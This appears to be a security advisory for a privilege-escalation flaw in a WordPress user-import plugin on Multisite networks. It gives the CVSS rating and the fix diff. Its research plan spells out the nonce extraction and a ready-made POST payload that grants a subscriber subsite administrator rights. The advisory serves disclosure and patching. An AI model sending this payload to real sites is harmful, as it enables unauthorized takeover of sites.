CVE-2026-7641

Import and export users and customers <= 2.0.8 - Authenticated (Subscriber+) Privilege Escalation via Multisite Capability Meta Fields

highImproper Privilege Management
8.8
CVSS Score
8.8
CVSS Score
high
Severity
2.0.9
Patched in
1d
Time to patch

Description

The Import and export users and customers plugin for WordPress is vulnerable to Privilege Escalation in all versions up to and including 2.0.8 via the `save_extra_user_profile_fields()` function. This is due to an incomplete blocklist that correctly restricts capability meta keys for the primary site (e.g., `wp_capabilities`, `wp_user_level`) but fails to block the equivalent meta keys for any other subsite in a WordPress Multisite network (e.g., `wp_2_capabilities`, `wp_2_user_level`), allowing these keys to pass the `in_array()` check and be written directly to user meta via `update_user_meta()`. This makes it possible for authenticated attackers, with Subscriber-level access and above, to escalate their privileges to Administrator on any subsite within the Multisite network by submitting a crafted profile update to `/wp-admin/profile.php`. Exploitation requires that an administrator has previously imported a CSV file containing multisite-prefixed capability column headers and has enabled the 'Show fields in profile?' option, which causes those keys to be stored in the `acui_columns` option and exposed as editable fields on the user profile page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=2.0.8
PublishedMay 1, 2026
Last updatedMay 2, 2026

What Changed in the Fix

Changes introduced in v2.0.9

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-7641 ## 1. Vulnerability Summary The **Import and export users and customers** plugin (<= 2.0.8) is vulnerable to privilege escalation in WordPress Multisite environments. The vulnerability exists in the `save_extra_user_profile_fields()` function (typically …

Show full research plan

Exploitation Research Plan - CVE-2026-7641

1. Vulnerability Summary

The Import and export users and customers plugin (<= 2.0.8) is vulnerable to privilege escalation in WordPress Multisite environments. The vulnerability exists in the save_extra_user_profile_fields() function (typically hooked to personal_options_update and edit_user_profile_update).

The plugin allows users to update "extra profile fields" that were previously defined during a CSV import. While it attempts to block sensitive meta keys like wp_capabilities and wp_user_level for the primary site, it fails to account for the naming convention of capability keys on other sites in a Multisite network (e.g., wp_2_capabilities, wp_2_user_level). Consequently, a Subscriber can submit a profile update containing these keys to grant themselves Administrator privileges on any subsite in the network.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/profile.php (Standard WordPress profile update).
  • HTTP Method: POST.
  • Authentication Level: Authenticated (Subscriber or higher).
  • Vulnerable Parameter: Any $_POST key corresponding to a subsite capability meta key (e.g., wp_2_capabilities).
  • Preconditions:
    1. The WordPress installation must be a Multisite network with at least one subsite (e.g., Blog ID 2).
    2. An administrator must have previously imported a CSV containing a column header matching a subsite capability key (e.g., wp_2_capabilities).
    3. The plugin option "Show fields in profile?" must be enabled in the "Extra profile fields" tab (tab=columns). This causes the key to be saved in the acui_columns option.

3. Code Flow

  1. Registration: The plugin registers save_extra_user_profile_fields() to the personal_options_update and edit_user_profile_update hooks.
  2. Key Retrieval: When a user updates their profile, the function retrieves the list of allowed "extra fields" from the acui_columns option.
  3. Filtering: The function iterates through the $_POST data. It uses in_array() to check if the key is in a restricted blocklist.
  4. The Flaw: The blocklist contains hardcoded strings: ['wp_capabilities', 'wp_user_level']. In a Multisite setup, the capability key for Blog ID 2 is wp_2_capabilities. This key is not in the blocklist.
  5. Update: Since the key wp_2_capabilities is present in the acui_columns option (due to the admin import) and not in the blocklist, the plugin calls update_user_meta( $user_id, 'wp_2_capabilities', $_POST['wp_2_capabilities'] ).

4. Nonce Acquisition Strategy

This exploit targets the standard WordPress profile update, which uses the standard WordPress _wpnonce.

  1. Shortcode/Page: No specific plugin shortcode is required for the exploit itself, as it uses the standard /wp-admin/profile.php.
  2. Acquisition:
    • Login as the Subscriber user.
    • Navigate to https://<target>/wp-admin/profile.php.
    • Extract the nonce from the hidden input field: <input type="hidden" id="_wpnonce" name="_wpnonce" value="[NONCE_VALUE]" />.
  3. Browser Eval:
    // To be run via browser_eval
    document.querySelector('#_wpnonce').value
    

5. Exploitation Strategy

Step 1: Pre-Exploit Setup (Admin)

  1. Ensure Multisite is enabled and a subsite (ID 2) exists.
  2. Create a CSV file named setup.csv:
    user_login,user_email,wp_2_capabilities
    victim_sub,victim@example.com,"a:1:{s:10:""subscriber"";b:1;}"
    
  3. As Admin, go to Tools -> Import and export users and customers.
  4. Upload and import setup.csv.
  5. Go to the Extra profile fields tab (tab=columns).
  6. Enable "Show fields in profile?" and save. This ensures wp_2_capabilities is added to the acui_columns option and rendered on the profile page.

Step 2: Escalation (Subscriber)

  1. Login as the Subscriber (victim_sub).
  2. Navigate to /wp-admin/profile.php.
  3. Perform a POST request to /wp-admin/profile.php with the following payload:
    • action: update
    • user_id: [SUBSCRIBER_ID]
    • _wpnonce: [EXTRACTED_NONCE]
    • wp_2_capabilities: a:1:{s:13:"administrator";b:1;}
    • wp_2_user_level: 10

Payload Details:

  • URL: https://<target>/wp-admin/profile.php
  • Content-Type: application/x-www-form-urlencoded
  • Body:
    action=update&user_id=[ID]&_wpnonce=[NONCE]&wp_2_capabilities=a%3A1%3A%7Bs%3A13%3A%22administrator%22%3Bb%3A1%3B%7D&wp_2_user_level=10&from=profile&checkuser_id=[ID]

6. Test Data Setup

  • Multisite: Subsite with ID 2.
  • User: A user with Subscriber role on the main site (ID 1) and subsite (ID 2).
  • Plugin Config:
    • acui_columns option must contain wp_2_capabilities.
    • acui_settings (or the specific option for "Show fields in profile") must be set to true.

7. Expected Results

  1. The profile update request returns a 302 Redirect back to profile.php?updated=1.
  2. The user's metadata in the wp_usermeta table for the key wp_2_capabilities is updated to the serialized Administrator role object.
  3. The user's wp_2_user_level is updated to 10.

8. Verification Steps

After the POST request, verify using WP-CLI:

# Check the capabilities of the user on subsite 2
wp user get victim_sub --fields=capabilities --url=http://[subsite_domain_or_path]

# Verify the meta directly
wp user meta get [USER_ID] wp_2_capabilities
wp user meta get [USER_ID] wp_2_user_level

9. Alternative Approaches

If the plugin uses a specific AJAX handler for profile updates (though the description points to profile.php), check for wp_ajax_acui_update_profile_meta or similar registrations in classes/import.php. If an AJAX handler is used:

  1. Identify the AJAX action name.
  2. Extract the nonce via window.acui_import_js_object.nonce (if localized).
  3. Submit a POST to /wp-admin/admin-ajax.php.

Given the source provided, ACUI_Import::enqueue localizes acui_import_js_object, but it only contains URLs and translation strings. This reinforces that the vulnerability likely leverages standard WordPress form submissions which are caught by the plugin's hooks.

Research Findings
Static analysis — not yet PoC-verified

Summary

The plugin is vulnerable to privilege escalation in WordPress Multisite environments because its meta-key blocklist fails to account for subsite-prefixed capability and user level keys (e.g., 'wp_2_capabilities'). An authenticated attacker with Subscriber-level access can exploit this by submitting a crafted profile update to grant themselves Administrator privileges on a subsite, provided a site administrator has previously exposed these fields via a CSV import.

Vulnerable Code

// classes/multisite.php

	function restricted_fields( $acui_restricted_fields ){
		return array_merge( $acui_restricted_fields, array( 'blogs' ) );
	}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/import-users-from-csv-with-meta/2.0.8/classes/import.php /home/deploy/wp-safety.org/data/plugin-versions/import-users-from-csv-with-meta/2.0.9/classes/import.php
--- /home/deploy/wp-safety.org/data/plugin-versions/import-users-from-csv-with-meta/2.0.8/classes/import.php	2026-04-24 21:00:36.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/import-users-from-csv-with-meta/2.0.9/classes/import.php	2026-04-26 07:50:22.000000000 +0000
@@ -764,9 +764,12 @@
         // On first step, we might need to handle the upload if it's there
         if( $step == 1 && empty( $file ) ){
             if( !empty( $_FILES['uploadfile']['tmp_name'] ) ){
-                // Move uploaded file to a more permanent temporary location because tmp_name is deleted after request
-                $upload_dir = wp_upload_dir();
                 $original_ext = strtolower( pathinfo( $_FILES['uploadfile']['name'], PATHINFO_EXTENSION ) );
+                $allowed_extensions = apply_filters( 'acui_allowed_upload_extensions', array( 'csv' ) );
+                if( !in_array( $original_ext, $allowed_extensions, true ) ){
+                    wp_send_json_error( array( 'message' => __( 'Invalid file type.', 'import-users-from-csv-with-meta' ) ) );
+                }
+                $upload_dir = wp_upload_dir();
                 $file = $upload_dir['basedir'] . '/acui-import-' . uniqid() . '.' . $original_ext;
                 move_uploaded_file( $_FILES['uploadfile']['tmp_name'], $file );
             }
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/import-users-from-csv-with-meta/2.0.8/classes/multisite.php /home/deploy/wp-safety.org/data/plugin-versions/import-users-from-csv-with-meta/2.0.9/classes/multisite.php
--- /home/deploy/wp-safety.org/data/plugin-versions/import-users-from-csv-with-meta/2.0.8/classes/multisite.php	2026-03-15 23:08:34.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/import-users-from-csv-with-meta/2.0.9/classes/multisite.php	2026-04-26 07:50:22.000000000 +0000
@@ -18,6 +18,12 @@
 	}
 
 	function restricted_fields( $acui_restricted_fields ){
+		global $wpdb;
+		foreach ( $this->sites as $site ) {
+			$prefix = $wpdb->get_blog_prefix( $site->blog_id );
+			$acui_restricted_fields[] = $prefix . 'capabilities';
+			$acui_restricted_fields[] = $prefix . 'user_level';
+		}
 		return array_merge( $acui_restricted_fields, array( 'blogs' ) );
 	}

Exploit Outline

The exploit targets WordPress Multisite installations where an administrator has previously imported a CSV file containing subsite-specific capability columns (e.g., 'wp_2_capabilities') and enabled the 'Show fields in profile?' option. An attacker with Subscriber-level access logs into the site and navigates to the standard profile update page (/wp-admin/profile.php). After extracting the valid '_wpnonce' from the page, the attacker submits a POST request to the same endpoint. The payload includes the subsite's capability key (e.g., 'wp_2_capabilities') set to a serialized administrator role array and the 'wp_2_user_level' key set to '10'. Because the plugin's blocklist does not recognize site-prefixed capability keys, it allows the attacker to write directly to their user meta, granting them administrative privileges on the specified subsite.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.